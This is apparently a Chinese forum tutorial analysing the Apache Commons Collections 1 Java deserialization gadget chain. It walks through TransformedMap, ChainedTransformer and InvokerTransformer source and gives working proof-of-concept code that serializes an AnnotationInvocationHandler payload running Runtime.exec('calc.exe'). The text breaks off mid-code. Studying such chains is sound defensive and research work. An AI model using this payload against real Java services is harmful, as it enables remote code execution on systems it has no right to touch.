03CommonsCollections1
CC链的介绍Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据布局类型而且实现了各种集合工具类。
作为Apache开源项⽬的紧张组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是由于在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严厉性。
Apache Commons Collections中有⼀个特殊的接口,此中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用恣意函数,叫做InvokerTransformer。
[*]简单来说就是利用org.apache.commons.collections中的各种类构成的序列化对象,实现序列化漏洞的利用.由于该库中的各种类极其丰富,有不止一种链条来引发反序列化漏洞.
P牛的CommonCollections1分析
代码分析
这里直接贴了代码,分析过程在注释里
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}//Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 对innerMap进行修饰,当返回对象outerMap put(null,value)时,调用了transformerChain.transform(value)
// 实际上可以看到put内`key = transformKey(key);value = transformValue(value);`实际上调用的类和方法是相同的
// 所以,TransformedMap.decorate(innerMap, transformerChain, null);同样可以触发漏洞
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}// 来到了transformerChain.transform(value)
// Transformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform(value)遍历调用了数组transformers中的元素的方法transform
public class ChainedTransformer implements Transformer, Serializable {
// ......
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
// Transformer是一个接口,只有一个待实现的方法transform
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers.transform(object);
}
return object;
}
// ......
}// 再来到数组transformers
/* Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
};*/
// new ConstantTransformer(Runtime.getRuntime())
public class ConstantTransformer implements Transformer, Serializable {
// ...
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
// ...
}
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
public class InvokerTransformer implements Transformer, Serializable {
// ...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
// ...
}// 所以key="test";transformerChain.transform(value)实际上执行了什么
// transformers.transform("test")
object = (Object) Runtime.getRuntime();
// transformers.transform(object)
Class cls = object.getClass();
Method method = cls.getMethod("exec", new Class[]{String.class});
method.invoke(object, new Object[]{"calc.exe"});对于TransformedMap的明白
在P牛的分析文章里,看到他对于Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);的明白是返回了一个Map的装饰器,在查询相关资料之后,感觉明白了这个装饰器的概念,有助于我们明白上面的反序列化利用链。
TransformedMap 是 Apache Commons Collections 库中的一个类,属于 org.apache.commons.collections4.map 包。它用于创建一个装饰器(decorator),在将键或值存储到底层映射之前和从底层映射读取之后,对键或值进行转换。
TransformedMap 类的主要目标是在不修改底层数据布局的情况下,提供一个在插入和访问数据时进行转换的机制。这在某些情况下非常有效,例如你需要确保全部存储的值都经过某种处置惩罚或验证。
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class TransformedMapExample {
public static void main(String[] args) {
// 创建一个普通的 HashMap
Map<String, String> originalMap = new HashMap<>();
// 创建键和值的转换器,Transformer是只有一个抽象方法的接口,可以采取lambda表达式实现
// key -> "key-" + key等价于
/*
Transformer<String, String> keyTransformer = new Transformer<String, String>() {
@Override
public String transform(String key) {
return "key-" + key;
}
};
Transformer<String, String> valueTransformer = new Transformer<String, String>() {
@Override
public String transform(String value) {
return "value-" + value;
}
};
*/
Transformer<String, String> keyTransformer = key -> "key-" + key;
Transformer<String, String> valueTransformer = value -> "value-" + value;
// 使用 TransformedMap 装饰原始的 Map
// 执行了Transformer实现类的transform方法
Map<String, String> transformedMap = TransformedMap.transformingMap(
originalMap, keyTransformer, valueTransformer);
// 插入数据
transformedMap.put("1", "one");
transformedMap.put("2", "two");
// 打印 transformedMap
System.out.println("Transformed Map: " + transformedMap);
// 打印 originalMap
System.out.println("Original Map: " + originalMap);
// 访问数据
System.out.println("Value for key '1': " + transformedMap.get("1"));
}
}所以现在明白Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);,innerMap是我们要装饰的原始innerMap,而transformerChain是Transformer实现类,我们在进行outerMap.put("test", "xxxx");时调用它的transform方法。
不是真正POC的缘故原由
先前例子中,我们手工执行outerMap.put("test", "xxxx")触发了反序列化漏洞,但是在正常的反序列化漏洞利用场景中,序列化对象只是一个类,即:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
// 序列化对象
try (FileOutputStream fos = new FileOutputStream("outerMap.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(outerMap);
System.out.println("Person 对象已经被序列化到 outerMap.ser 文件");
} catch (IOException e) {
e.printStackTrace();
}此时,我们虽然得到了outerMap的序列化对象,但是当其被反序列化时,如果readObject方法中没有进行outerMap.put或者它调用transformerChain.transform(value)的操作,其也不可能触发反序列化漏洞
CommonCollections1
[*]CommonCollections1的依靠为commons-collections:3.1
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
[*]对于java版本的要求是8u71以前,下文版本为8u66
对于利用链的大致梳理
先把终极的poc代码展示一下,后面分析如何一步步改进得到该poc
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
// new
innerMap.put("value", "xxxx");
// new
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
// delete
// outerMap.put("test", "xxxx");
// delete
// new
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}前文的例子中的序列化对象缺少一个outerMap.put来触发漏洞,自然地,我们继续地去寻找类,在其readObject中可以或许进行outerMap.put操作,这个类就sun.reflect.annotation.AnnotationInvocationHandler,注意这个类是Java的内部实现类,位于sun.reflect.annotation包下,所以它在Java的不同版本下实现可能是不同的,所以现在使用到AnnotationInvocationHandler的这条链只能在java8u71之前触发漏洞。
看一下AnnotationInvocationHandler的readobject方法
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {// i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}这里就直接指出触发关键地点了,即 memberValue.setValue,memberValue是该AnnotationInvocationHandler的属性memberValues的元素,让我们看看这个属性的具体情况
private final Map memberValues;AnnotationInvocationHandler(Class
页:
[1]